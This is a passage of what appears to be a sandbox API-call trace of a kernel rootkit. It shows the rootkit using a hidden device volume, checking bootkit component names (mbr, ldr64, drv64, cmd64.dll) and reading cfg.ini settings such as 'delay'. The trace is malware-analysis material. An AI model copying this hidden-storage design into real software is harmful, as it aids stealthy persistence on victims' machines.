[0122.571] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be4340, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.571] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.571] KeLeaveCriticalRegion () [0122.571] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.571] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.571] KeEnterCriticalRegion () [0122.571] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.571] ExFreePoolWithTag (P=0xfffffa8003be5130, Tag=0x0) [0122.571] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.571] KeLeaveCriticalRegion () [0122.571] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.571] ReleaseMutex (hMutex=0xf0) returned 1 [0122.571] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0122.571] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0122.571] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0122.571] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0122.571] KeEnterCriticalRegion () [0122.571] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.571] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.571] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.572] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.572] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.572] IdePortDispatch () returned 0x103 [0122.572] KeWaitForMutexObject () returned 0x0 [0122.572] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.572] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0122.572] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.572] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.572] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.572] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.572] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.572] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.572] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.572] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0122.572] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.572] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.572] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.572] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.572] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.572] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.572] KeLeaveCriticalRegion () [0122.572] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.572] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0122.572] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0122.572] KeEnterCriticalRegion () [0122.572] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.572] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.572] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.572] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.572] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.572] IdePortDispatch () returned 0x103 [0122.572] KeWaitForMutexObject () returned 0x0 [0122.573] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.573] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0122.573] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.573] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.573] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.573] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.573] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.573] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.573] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.573] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0122.573] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.573] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.573] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.573] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.573] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.573] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.573] KeLeaveCriticalRegion () [0122.573] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.573] ReleaseMutex (hMutex=0x100) returned 1 [0122.573] Sleep (dwMilliseconds=0x2bf20) [0122.579] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6c430c90, dwHighDateTime=0x1d24fa4)) [0122.579] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0122.579] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.579] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.580] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.580] KeEnterCriticalRegion () [0122.580] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.580] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.580] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.580] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.580] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.580] IdePortDispatch () returned 0x103 [0122.580] KeWaitForMutexObject () returned 0x0 [0122.580] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.580] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.580] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.580] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.580] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.580] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bcd370 [0122.580] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.580] KeLeaveCriticalRegion () [0122.580] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.580] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.580] KeEnterCriticalRegion () [0122.580] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.580] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.580] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.580] KeLeaveCriticalRegion () [0122.580] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.580] KeEnterCriticalRegion () [0122.580] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.580] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.580] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.580] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.580] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.580] IdePortDispatch () returned 0x103 [0122.580] KeWaitForMutexObject () returned 0x0 [0122.581] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.581] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.581] KeLeaveCriticalRegion () [0122.581] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.581] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.581] KeEnterCriticalRegion () [0122.581] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.581] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cb9000 [0122.581] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.581] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.581] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.581] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.581] IdePortDispatch () returned 0x103 [0122.581] KeWaitForMutexObject () returned 0x0 [0122.581] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.581] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.581] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.581] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.581] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.581] IdePortDispatch () returned 0x103 [0122.581] KeWaitForMutexObject () returned 0x0 [0122.581] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.581] KeLeaveCriticalRegion () [0122.581] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.582] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.582] KeEnterCriticalRegion () [0122.582] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.582] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.582] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.582] KeLeaveCriticalRegion () [0122.582] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.582] KeEnterCriticalRegion () [0122.582] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.582] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.582] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be6070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.582] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.582] KeLeaveCriticalRegion () [0122.582] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.582] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.582] KeEnterCriticalRegion () [0122.582] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.582] ExFreePoolWithTag (P=0xfffffa8003bcd370, Tag=0x0) [0122.582] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.582] KeLeaveCriticalRegion () [0122.582] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.582] ReleaseMutex (hMutex=0xf0) returned 1 [0122.582] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.583] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.583] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.583] KeEnterCriticalRegion () [0122.583] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.583] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.583] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.583] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.583] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.583] IdePortDispatch () returned 0x103 [0122.583] KeWaitForMutexObject () returned 0x0 [0122.583] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.583] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.583] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.583] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.583] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.583] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be5e50 [0122.583] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.583] KeLeaveCriticalRegion () [0122.583] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.583] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.583] KeEnterCriticalRegion () [0122.583] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.583] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.583] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.583] KeLeaveCriticalRegion () [0122.583] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.583] KeEnterCriticalRegion () [0122.583] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.583] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.583] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.583] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.583] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.583] IdePortDispatch () returned 0x103 [0122.583] KeWaitForMutexObject () returned 0x0 [0122.584] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.584] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.584] KeLeaveCriticalRegion () [0122.584] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.584] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.584] KeEnterCriticalRegion () [0122.584] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.584] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cba000 [0122.584] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.584] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.584] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.584] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.584] IdePortDispatch () returned 0x103 [0122.584] KeWaitForMutexObject () returned 0x0 [0122.584] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.584] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.584] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.584] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.584] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.584] IdePortDispatch () returned 0x103 [0122.584] KeWaitForMutexObject () returned 0x0 [0122.584] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.585] KeLeaveCriticalRegion () [0122.585] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.585] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.585] KeEnterCriticalRegion () [0122.585] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.585] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.585] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.585] KeLeaveCriticalRegion () [0122.585] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.585] KeEnterCriticalRegion () [0122.585] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.585] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.585] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be4340, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.585] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.585] KeLeaveCriticalRegion () [0122.585] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.585] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.585] KeEnterCriticalRegion () [0122.585] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.585] ExFreePoolWithTag (P=0xfffffa8003be5e50, Tag=0x0) [0122.585] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.585] KeLeaveCriticalRegion () [0122.585] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.585] ReleaseMutex (hMutex=0xf0) returned 1 [0122.585] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.586] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0122.586] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.586] KeEnterCriticalRegion () [0122.586] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.586] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.586] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.586] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.586] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.586] IdePortDispatch () returned 0x103 [0122.586] KeWaitForMutexObject () returned 0x0 [0122.586] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.586] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.586] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.586] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.586] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.586] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc21a0 [0122.586] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.586] KeLeaveCriticalRegion () [0122.586] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.586] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.586] KeEnterCriticalRegion () [0122.586] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.586] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.586] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.586] KeLeaveCriticalRegion () [0122.586] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.586] KeEnterCriticalRegion () [0122.586] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.586] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.586] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.586] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.586] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.586] IdePortDispatch () returned 0x103 [0122.587] KeWaitForMutexObject () returned 0x0 [0122.587] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.587] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.587] 